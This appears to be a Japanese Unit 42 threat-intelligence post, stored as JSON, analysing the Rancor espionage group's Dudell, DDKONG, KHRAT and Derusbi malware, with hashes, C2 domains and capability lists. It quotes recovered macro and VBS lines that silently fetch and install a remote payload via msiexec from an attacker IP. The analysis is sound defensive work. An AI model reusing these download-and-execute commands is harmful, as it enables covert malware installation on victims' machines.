{"id":102380,"date":"2019-12-18T01:12:08","date_gmt":"2019-12-18T09:12:08","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=102380"},"modified":"2019-12-18T01:17:11","modified_gmt":"2019-12-18T09:17:11","slug":"rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/rancor-cyber-espionage-group-uses-new-custom-malware-to-attack-southeast-asia\/","title":{"rendered":"\u30b5\u30a4\u30d0\u30fc\u30b9\u30d1\u30a4\u30b0\u30eb\u30fc\u30d7Rancor\u304c\u65b0\u3057\u3044\u30ab\u30b9\u30bf\u30e0\u30de\u30eb\u30a6\u30a7\u30a2\u3067\u6771\u5357\u30a2\u30b8\u30a2\u3078\u306e\u6a19\u7684\u578b\u653b\u6483\u3092\u7d99\u7d9a"},"content":{"rendered":"<h2>\u6982\u8981<\/h2>\n<p>2018\u5e746\u6708\u4e0b\u65ec\u3001\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u8105\u5a01\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u8abf\u67fb\u30c1\u30fc\u30e0Unit 42\u306f\u3001\u305d\u308c\u307e\u3067\u77e5\u3089\u308c\u3066\u3044\u306a\u304b\u3063\u305f\u30b5\u30a4\u30d0\u30fc\u30b9\u30d1\u30a4\u30b0\u30eb\u30fc\u30d7<a href=\"https:\/\/unit42.paloaltonetworks.com\/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families\/\">Rancor<\/a>\u306b\u95a2\u3059\u308b\u8a18\u4e8b\u3092\u516c\u958b\u3057\u307e\u3057\u305f\u3002\u540c\u30b0\u30eb\u30fc\u30d7\u306f\u30012017\u5e74\u304b\u30892018\u5e74\u306b\u304b\u3051\u3066\u6771\u5357\u30a2\u30b8\u30a2\u3067\u6a19\u7684\u578b\u653b\u6483\u3092\u5b9f\u884c\u3057\u3066\u304a\u308a\u3001\u6700\u8fd1\u3067\u306f2018\u5e7412\u6708\u304b\u30892019\u5e741\u6708\u306b\u304b\u3051\u3066\u3001\u30ab\u30f3\u30dc\u30b8\u30a2\u306e\u5c11\u306a\u304f\u3068\u30821\u3064\u306e\u653f\u5e9c\u6a5f\u95a2\u3092\u6301\u7d9a\u7684\u306b\u6a19\u7684\u306b\u653b\u6483\u3092\u5b9f\u884c\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u653b\u6483\u3092\u8abf\u67fb\u3059\u308b\u306a\u304b\u3067\u3001\u305d\u308c\u307e\u3067\u6587\u66f8\u5316\u3055\u308c\u305f\u3053\u3068\u306e\u306a\u3044\u30ab\u30b9\u30bf\u30e0\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u304c\u898b\u3064\u304b\u308a\u3001\u79c1\u305f\u3061\u306f\u305d\u308c\u3092Dudell\u3068\u540d\u4ed8\u3051\u307e\u3057\u305f\u3002\u3053\u306e\u307b\u304b\u3001\u540c\u30b0\u30eb\u30fc\u30d7\u304cDerusbi\u3068\u547c\u3070\u308c\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3053\u3068\u3082\u3064\u304d\u3068\u3081\u307e\u3057\u305f\u3002Derusbi\u306f\u3001\u4e2d\u56fd\u306e\u7279\u5b9a\u30b5\u30a4\u30d0\u30fc\u30b9\u30d1\u30a4\u306e\u5c0f\u3055\u306a\u30b5\u30d6\u30b0\u30eb\u30fc\u30d7\u7279\u6709\u306e\u3082\u306e\u3068\u8003\u3048\u3089\u308c\u3066\u3044\u308b\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3067\u3059\u3002<\/p>\n<h3>\u653b\u6483\u306e\u8a73\u7d30<\/h3>\n<p>Rancor\u30b0\u30eb\u30fc\u30d7\u306f\u30012018\u5e7412\u6708\u4e0a\u65ec\u304b\u30892019\u5e741\u6708\u672b\u306b\u304b\u3051\u3001\u88ab\u5bb3\u8005\u306e\u30b7\u30b9\u30c6\u30e0\u306bDerusbi\u307e\u305f\u306fKHRat\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u3053\u3068\u3092\u76ee\u7684\u3068\u3057\u3001\u5c11\u306a\u304f\u3068\u30822\u30e9\u30a6\u30f3\u30c9\u5206\u306e\u653b\u6483\u3092\u5b9f\u884c\u3057\u3066\u3044\u307e\u3057\u305f\u30022019\u5e741\u6708\u306e\u653b\u6483\u3067\u306f\u3001149.28.156[.]61\u3092\u7d4c\u7531\u3057\u3066Derusbi\u307e\u305f\u306fKHRat\u30b5\u30f3\u30d7\u30eb\u306e\u3044\u305a\u308c\u304b\u3092\u914d\u4fe1\u3057\u3001\u3053\u306e\u969b\u306eC2\u3068\u3057\u3066cswksfwq.kfesv[.]xyz\u307e\u305f\u306fconnect.bafunpda[.]xyz\u306e\u3044\u305a\u308c\u304b\u3092\u5229\u7528\u3057\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n<h3>\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u6982\u8981<\/h3>\n<h4>DUDELL<\/h4>\n<table>\n<tbody>\n<tr>\n<td>SHA256\u5024<\/td>\n<td>0d61d9baab9927bb484f3e60384fdb6a3709ca74bc6175ab16b220a68f2b349e<\/td>\n<\/tr>\n<tr>\n<td>\u30d5\u30a1\u30a4\u30eb\u30bf\u30a4\u30d7<\/td>\n<td>Microsoft Excel 97 \u2013 2003 \u6587\u66f8<\/td>\n<\/tr>\n<tr>\n<td>\u30d5\u30a1\u30a4\u30eb\u540d<\/td>\n<td>Equipment Purchase List 2018-2020(Final).xls<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\"><em>\u88681 DUDELL\u30d5\u30a1\u30a4\u30eb\u306e\u30d7\u30ed\u30d1\u30c6\u30a3<\/em><\/span><\/p>\n<p>DUDELL\u30b5\u30f3\u30d7\u30eb\u306f\u60aa\u610f\u306e\u3042\u308b\u30de\u30af\u30ed\u3092\u542b\u3080\u5175\u5668\u5316\u3055\u308c\u305fMicrosoft Excel\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3067\u3001\u3053\u308c\u304c\u88ab\u5bb3\u7aef\u672b\u4e0a\u3067\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u540c\u30b5\u30f3\u30d7\u30eb\u306e\u3068\u308b\u60aa\u610f\u306e\u3042\u308b\u632f\u308b\u821e\u3044\u306f\u3001\u4ee5\u524d\u306bCheck Point\u304c\u300e<a href=\"https:\/\/research.checkpoint.com\/rancor-the-year-of-the-phish\/\">Rancor: The Year of The Phish(SHA-1 c829f5f9ff89210c888c1559bb085ec6e65232de)<\/a>\u300f\u3067\u5831\u544a\u3057\u305f\u5185\u5bb9\u3068\u540c\u3058\u3067\u3057\u305f\u3002\u305f\u3060\u3057\u3001Check Point\u30d6\u30ed\u30b0\u306e\u30b5\u30f3\u30d7\u30eb\u306f2018\u5e7412\u6708\u306e\u3082\u306e\u3067\u3001\u4eca\u56de\u306e\u30b5\u30f3\u30d7\u30eb\u306f2018\u5e744\u6708\u306e\u3082\u306e\u3067\u3059\u3002\u672c\u30b5\u30f3\u30d7\u30eb\u306b\u306f\u3001\u6b21\u306e\u30d7\u30ed\u30d1\u30c6\u30a3(\u30e1\u30bf\u30c7\u30fc\u30bf)\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td>Codepage<\/td>\n<td>1252<\/td>\n<\/tr>\n<tr>\n<td>Author<\/td>\n<td>MS<\/td>\n<\/tr>\n<tr>\n<td>Last author<\/td>\n<td>MS<\/td>\n<\/tr>\n<tr>\n<td>Application name<\/td>\n<td>Microsoft Excel<\/td>\n<\/tr>\n<tr>\n<td>Creation time<\/td>\n<td>Mon Oct 14 23:33:28 1996<\/td>\n<\/tr>\n<tr>\n<td>Last Save time<\/td>\n<td>Wed Apr 11 02:18:59 2018<\/td>\n<\/tr>\n<tr>\n<td>Security type<\/td>\n<td>0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\"><em>\u88682 DUDELL\u30d5\u30a1\u30a4\u30eb\u306e\u30d7\u30ed\u30d1\u30c6\u30a3<\/em><\/span><\/p>\n<p>\u30e6\u30fc\u30b6\u30fc\u304c\u3053\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u8868\u793a\u3057\u3066[\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u6709\u52b9\u306b\u3059\u308b]\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u3001\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u5185\u306e\u30de\u30af\u30ed\u304c\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u6642\u70b9\u3067\u540c\u30de\u30af\u30ed\u306f\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306e [Company] \u30d7\u30ed\u30d1\u30c6\u30a3 \u30d5\u30a3\u30fc\u30eb\u30c9\u4ee5\u4e0b\u306e\u30c7\u30fc\u30bf\u3092\u898b\u3064\u3051\u3066\u5b9f\u884c\u3057\u307e\u3059\u3002[Company] \u30d5\u30a3\u30fc\u30eb\u30c9\u4ee5\u4e0b\u306e\u30c7\u30fc\u30bf\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<pre class=\"\">cmd \/c set \/p=Set v=CreateObject(^\"Wscript.Shell^\"):v.Run ^\"msiexec \/q \/i http:\/\/199.247.6[.]253\/ud^\",false,0 &lt;nul &gt; C:\\Windows\\System32\\spool\\drivers\\color\\tmp.vbs<\/pre>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u88683 [Company] \u30d5\u30a3\u30fc\u30eb\u30c9\u306e\u30c7\u30fc\u30bf<\/span><\/em><\/p>\n<p>Rancor\u30b0\u30eb\u30fc\u30d7\u306f\u3001\u4e0a\u8a18\u306e\u88685\u306b\u8a18\u8f09\u3055\u308c\u3066\u3044\u308b199.247.6[.]253\u306eC2\u30b5\u30fc\u30d0\u30fc\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u77e5\u3089\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u3001Microsoft\u306emsiexec\u30c4\u30fc\u30eb\u7d4c\u7531\u3067\u7b2c2\u6bb5\u968e\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u307e\u3059\u3002\u6b8b\u5ff5\u306a\u304c\u3089\u3001\u540c\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u767a\u898b\u6642\u306b\u306f\u3001\u3059\u3067\u306b\u3053\u3053\u306b\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u3055\u308c\u3066\u3044\u305f\u30d5\u30a1\u30a4\u30eb\u306f\u5229\u7528\u3067\u304d\u306a\u304f\u306a\u3063\u3066\u3044\u307e\u3057\u305f\u3002\u79c1\u305f\u3061\u306e\u30b7\u30b9\u30c6\u30e0\u306ftmp.vbs\u3068\u3044\u3046\u30d5\u30a1\u30a4\u30eb\u30cf\u30c3\u30b7\u30e5\u306e\u8a18\u9332\u306b\u306f\u6210\u529f\u3057\u3066\u3044\u307e\u3057\u305f\u304c\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u306f\u4eca\u3068\u306a\u3063\u3066\u306f\u308f\u304b\u308a\u307e\u305b\u3093\u3002\u30cf\u30c3\u30b7\u30e5\u5024\u306b\u3064\u3044\u3066\u306f\u4ee5\u4e0b\u306e\u88685\u3092\u53c2\u7167\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u30d5\u30a1\u30a4\u30eb\u540d\u3068\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u3082\u3068\u306b\u3055\u3089\u306b\u63a2\u7d22\u3092\u7d9a\u3051\u305f\u3068\u3053\u308d\u3001Rancor\u306e\u30a2\u30af\u30bf\u30fc\u304c\u4f7f\u7528\u3059\u308b\u540c\u69d8\u306eVBS\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u898b\u3064\u304b\u308a\u307e\u3057\u305f\u3002\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u304b\u3089tmp.vbs\u306e\u5185\u5bb9\u304c\u3069\u306e\u3088\u3046\u306a\u3082\u306e\u3067\u3042\u3063\u305f\u304b\u306b\u3064\u3044\u3066\u985e\u63a8\u3067\u304d\u308b\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002\u305d\u306e\u30d5\u30a1\u30a4\u30eb office.vbs (SHA256: 4b0b319b58c2c0980390e24379a2e2a0a1e1a91d17a9d3e26be6f4a39a7afad2) \u306f\u3001c:\\Windows\\System32\\spool\\drivers\\color \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u4ee5\u4e0b\u3067\u898b\u3064\u304b\u308a\u307e\u3057\u305f\u3002\u5185\u5bb9\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<pre>Set v=CreateObject(\u201cWscript.Shell\u201d):v.Run \u201cmsiexec \/q \/i http:\/\/199.247.6[.]253\/OFFICE\u201d,false,0<\/pre>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u88684 office.vbs\u306e\u5185\u5bb9<\/span> <\/em><\/p>\n<table>\n<tbody>\n<tr>\n<td>SHA256\u5024<\/td>\n<td>b958e481c90939962081b9fb85451a2fb28f705d5b5060f5d9d5aebfb390f832<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\"><em>\u88685 tmp.vbs\u306e\u30cf\u30c3\u30b7\u30e5\u5024<\/em><\/span><\/p>\n<p>\u4eee\u306b tmp.vbs \u3068\u3044\u3046\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u304c\u3053\u306e office.vbs \u3068\u4f3c\u305f\u3082\u306e\u3067\u3042\u308b\u3068\u3059\u308c\u3070\u3001\u611f\u67d3\u30b7\u30b9\u30c6\u30e0\u306b\u3055\u3089\u306b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u653b\u6483\u306e\u4e00\u90e8\u3092\u62c5\u3046\u3082\u306e\u3060\u3063\u305f\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u3002<\/p>\n<h4>DDKONG\u30d7\u30e9\u30b0\u30a4\u30f3<\/h4>\n<table>\n<tbody>\n<tr>\n<td>SHA256\u5024<\/td>\n<td>0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707<\/td>\n<\/tr>\n<tr>\n<td>\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305f\u65e5\u6642<\/td>\n<td>2017-02-17 08:33:45 AM<\/td>\n<\/tr>\n<tr>\n<td>\u30d5\u30a1\u30a4\u30eb\u30bf\u30a4\u30d7<\/td>\n<td>PE32 executable (DLL) Intel 80386, for MS Windows<\/td>\n<\/tr>\n<tr>\n<td>\u30d5\u30a1\u30a4\u30eb\u540d<\/td>\n<td>History.nls<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"font-size: 10pt;\"><em>\u88686 DDKONG\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u30d7\u30ed\u30d1\u30c6\u30a3<\/em><\/span><\/p>\n<p>\u540c\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3001\u4ee5\u4e0b\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u30a8\u30f3\u30c8\u30ea1\u3064\u3060\u3051\u3067\u69cb\u6210\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>DllInstall<\/li>\n<\/ul>\n<p>\u305f\u3060\u30ed\u30fc\u30c9\u3057\u305f\u3060\u3051\u3067\u306f\u4f55\u3082\u8d77\u3053\u3089\u306a\u3044\u3053\u3068\u304b\u3089\u3001DllInstall\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u95a2\u6570\u304c\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u4e2d\u6838\u3068\u306a\u308b\u52d5\u4f5c\u3092\u62c5\u3046\u3082\u306e\u3067\u3059\u3002\u540c\u95a2\u6570\u306f\u3001\u547c\u3073\u51fa\u3055\u308c\u308b\u3068Hello Google!\u3068\u3044\u3046\u30ad\u30e3\u30d7\u30b7\u30e7\u30f3\u304c\u4ed8\u3044\u305f\u975e\u8868\u793a\u30a6\u30a3\u30f3\u30c9\u30a6\u3068Google\u3068\u3044\u3046\u30af\u30e9\u30b9\u540d\u3092\u30c1\u30a7\u30c3\u30af\u3057\u307e\u3059(\u4e0b\u56f31\u53c2\u7167)\u3002\u3053\u306e\u30c1\u30a7\u30c3\u30af\u306f\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u304c1\u5ea6\u306b1\u3064\u3060\u3051\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3059\u308b\u76ee\u7684\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-102383 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/12\/word-image-187.png\" alt=\"\" width=\"578\" height=\"575\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-187.png 578w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-187-300x298.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-187-150x150.png 150w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/12\/word-image-187-370x368.png 370w\" sizes=\"(max-width: 578px) 100vw, 578px\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\"><em>\u56f31 DDKONG\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u975e\u8868\u793a\u30a6\u30a3\u30f3\u30c9\u30a6\u306e\u30d7\u30ed\u30d1\u30c6\u30a3<\/em><\/span><\/p>\n<p>\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u4f5c\u6210\u3059\u308b\u3053\u306e\u975e\u8868\u793a\u30a6\u30a3\u30f3\u30c9\u30a6\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u306b\u3088\u308b\u5165\u529b\uff08\u30ad\u30fc\u30dc\u30fc\u30c9\u3084\u30de\u30a6\u30b9\u306e\u64cd\u4f5c\uff09\u3092\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3057\u307e\u3059\u3002\u901a\u5e38\u3001\u30b5\u30f3\u30c9\u30dc\u30c3\u30af\u30b9\u74b0\u5883\u3067\u306f\u30de\u30a6\u30b9\u3084\u30ad\u30fc\u30dc\u30fc\u30c9\u306e\u64cd\u4f5c\u304c\u8d77\u3053\u3089\u306a\u3044\u305f\u3081\u3001\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u306f\u30b5\u30f3\u30c9\u30dc\u30c3\u30af\u30b9\u5206\u6790\u306e\u56de\u907f\u3092\u72d9\u3063\u305f\u3082\u306e\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002\u6b21\u306b\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u8a2d\u5b9a\u3055\u308c\u305f\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u30fccswksfwq.kfesv[.]xyz\u306eTCP\u30dd\u30fc\u30c88080\u306b\u30d3\u30fc\u30b3\u30f3\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u30ea\u30e2\u30fc\u30c8\u30b5\u30fc\u30d0\u30fc\u3068\u306e\u63a5\u7d9a\u306b\u6210\u529f\u3059\u308b\u3068\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3001\u30db\u30b9\u30c8\u540d\u3001IP\u30a2\u30c9\u30ec\u30b9\u3001\u30e9\u30f3\u30b2\u30fc\u30b8\u30d1\u30c3\u30af\u306a\u3069\u3001\u88ab\u5bb3\u8005\u306e\u60c5\u5831\u3092\u4ed6\u306e\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u3068\u3068\u3082\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002\u3053\u306e\u3068\u304d\u9001\u4fe1\u3055\u308c\u308b\u30c7\u30fc\u30bf\u306fXOR\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u6b21\u306e\u6a5f\u80fd\u3092\u30b5\u30dd\u30fc\u30c8\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u7279\u5b9a\u30d7\u30ed\u30bb\u30b9\u306e\u7d42\u4e86<\/li>\n<li>\u30d7\u30ed\u30bb\u30b9\u306e\u5217\u6319<\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9<\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9<\/li>\n<li>\u30d5\u30a1\u30a4\u30eb\u306e\u524a\u9664<\/li>\n<li>\u30d5\u30a9\u30eb\u30c0\u5185\u5bb9\u306e\u4e00\u89a7\u8868\u793a<\/li>\n<li>\u30b9\u30c8\u30ec\u30fc\u30b8\u30dc\u30ea\u30e5\u30fc\u30e0\u306e\u5217\u6319<\/li>\n<li>\u30b3\u30de\u30f3\u30c9\u5b9f\u884c<\/li>\n<li>\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb<\/li>\n<li>\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u64ae\u5f71<\/li>\n<\/ul>\n<h3>KHRAT<\/h3>\n<table>\n<tbody>\n<tr>\n<td>SHA256\u5024<\/td>\n<td>aaebf987b8d80d71313c3c0f2c16d60874ffecbdda3bb6b44d6cba6d38031609<\/td>\n<\/tr>\n<tr>\n<td>\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305f\u65e5\u6642<\/td>\n<td>2018-05-02 05:22:23 PM<\/td>\n<\/tr>\n<tr>\n<td>\u30d5\u30a1\u30a4\u30eb\u30bf\u30a4\u30d7<\/td>\n<td>PE32 executable (DLL) Intel 80386, for MS Windows<\/td>\n<\/tr>\n<tr>\n<td>\u30d5\u30a1\u30a4\u30eb\u540d<\/td>\n<td>8081.dll<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\"><em>\u88687. KHRAT\u306e\u30d7\u30ed\u30d1\u30c6\u30a3<\/em><\/span><\/p>\n<p>\u540c\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3001\u4ee5\u4e0b\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u30a8\u30f3\u30c8\u30ea1\u3064\u3060\u3051\u3067\u69cb\u6210\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>Rmcmd<\/li>\n<\/ul>\n<p>\u3053\u306eDLL\u306f\u521d\u56de\u30ed\u30fc\u30c9\u6642\u306b\u5fc5\u8981\u306a\u8ffd\u52a0\u30e2\u30b8\u30e5\u30fc\u30eb\uff08DLL\uff09\u3092\u89e3\u6c7a\u3057\u30a4\u30f3\u30dd\u30fc\u30c8\u3057\u307e\u3059\u3002\u30ed\u30fc\u30c9\u5f8c\u306brmcmd\u306e\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u30a8\u30f3\u30c8\u30ea\u304c\u547c\u3073\u51fa\u3055\u308c\u308b\u3068\u3001gkdflbmdfk\u3068\u3044\u3046\u540d\u524d\u306eWindows\u30df\u30e5\u30fc\u30c6\u30c3\u30af\u30b9\u304c\u4f5c\u6210\u3055\u308c\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u30b3\u30d4\u30fc\u306f\u540c\u6642\u306b1\u3064\u3060\u3051\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u4fdd\u8a3c\u3055\u308c\u307e\u3059\u3002\u6b21\u306b\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u8a2d\u5b9a\u3055\u308c\u305f\u30c9\u30e1\u30a4\u30f3connect.bafunpda[.]xyz\u306eTCP\u30dd\u30fc\u30c88081\u5b9b\u306b\u30d3\u30fc\u30b3\u30f3\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u30db\u30b9\u30c8\u304b\u3089\u30db\u30b9\u30c8\u540d\u306a\u3069\u306e\u30c7\u30fc\u30bf\u3092\u53ce\u96c6\u3057\u3001XOR\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u3066\u9001\u4fe1\u3057\u307e\u3059\u3002\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u306e\u6700\u521d\u306e\u30d0\u30a4\u30c8\u304c\u305d\u306e\u30ad\u30fc\u3067\u3059\u3002\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u6b21\u306e\u6a5f\u80fd\u3092\u30b5\u30dd\u30fc\u30c8\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb<\/li>\n<\/ul>\n<p>\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u632f\u308b\u821e\u3044\u3068\u30b3\u30fc\u30c9\u306b\u306f\u30012018\u5e745\u6708\u306e\u53e4\u3044KHRAT\u30b5\u30f3\u30d7\u30eb\u3068\u306e\u5171\u901a\u70b9\u304c\u898b\u3089\u308c\u307e\u3059\u3002\u3053\u306e\u30b5\u30f3\u30d7\u30eb (SHA256: bc1c3e754be9f2175b718aba62174a550cdc3d98ab9c36671a58073140381659) \u306f\u3001\u540c\u3058\u30a8\u30af\u30b9\u30dd\u30fc\u30c8\u30a8\u30f3\u30c8\u30ea\u540d\u3092\u6301\u3063\u3066\u304a\u308a\u3001\u3053\u3061\u3089\u3082\u3084\u306f\u308a\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3067\u3059\u3002\u65b0\u3057\u3044\u30b5\u30f3\u30d7\u30eb\u306f\u3001\u3082\u3068\u306b\u306a\u3063\u305f\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u3068\u3057\u3066\u306e\u52d5\u4f5c\u306f\u305d\u306e\u307e\u307e\u306b\u3001\u6700\u9069\u5316\u3092\u56f3\u3063\u3066\u66f8\u304d\u76f4\u3057\u305f\u3082\u306e\u306e\u3088\u3046\u3067\u3059\u3002<\/p>\n<h4>Derusbi<\/h4>\n<table>\n<tbody>\n<tr>\n<td>SHA256\u5024<\/td>\n<td>83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2abd9e0d<\/td>\n<\/tr>\n<tr>\n<td>\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305f\u65e5\u6642<\/td>\n<td>2012-09-14 09:20:12 AM<\/td>\n<\/tr>\n<tr>\n<td>\u30d5\u30a1\u30a4\u30eb\u30bf\u30a4\u30d7<\/td>\n<td>PE32 executable (DLL) Intel 80386, for MS Windows<\/td>\n<\/tr>\n<tr>\n<td>\u30d5\u30a1\u30a4\u30eb\u540d<\/td>\n<td>32.dll<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: center;\"><em><span style=\"font-size: 10pt;\">\u88688. Derusbi\u306e\u30d7\u30ed\u30d1\u30c6\u30a3<\/span><\/em><\/p>\n<p>Derusbi\u306f\u3001Rancor\u30b0\u30eb\u30fc\u30d7\u3092\u542b\u3080\u5c11\u6570\u306e\u7279\u5b9a\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u304c\u4f7f\u7528\u3057\u3066\u3044\u308b\u3068\u8003\u3048\u3089\u308c\u3066\u3044\u308b\u30d0\u30c3\u30af\u30c9\u30a2\u578b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3067\u3059\u3002\u3053\u306e\u7279\u5b9a\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u3001\u6697\u53f7\u5316\u3055\u308c\u305f\u7279\u5b9a\u6a5f\u80fd\u7528\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30ed\u30fc\u30c9\u3059\u308b\u30ed\u30fc\u30c0\u30fc\u3067\u3059\u3002\u3053\u306eDLL\u306f\u3001\u57cb\u3081\u8fbc\u307f\u30da\u30a4\u30ed\u30fc\u30c9\u89e3\u8aad\u7528\u306b\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u306b\u6307\u5b9a\u3059\u308b32\u30d0\u30a4\u30c8\u306e\u30ad\u30fc\u3092\u542b\u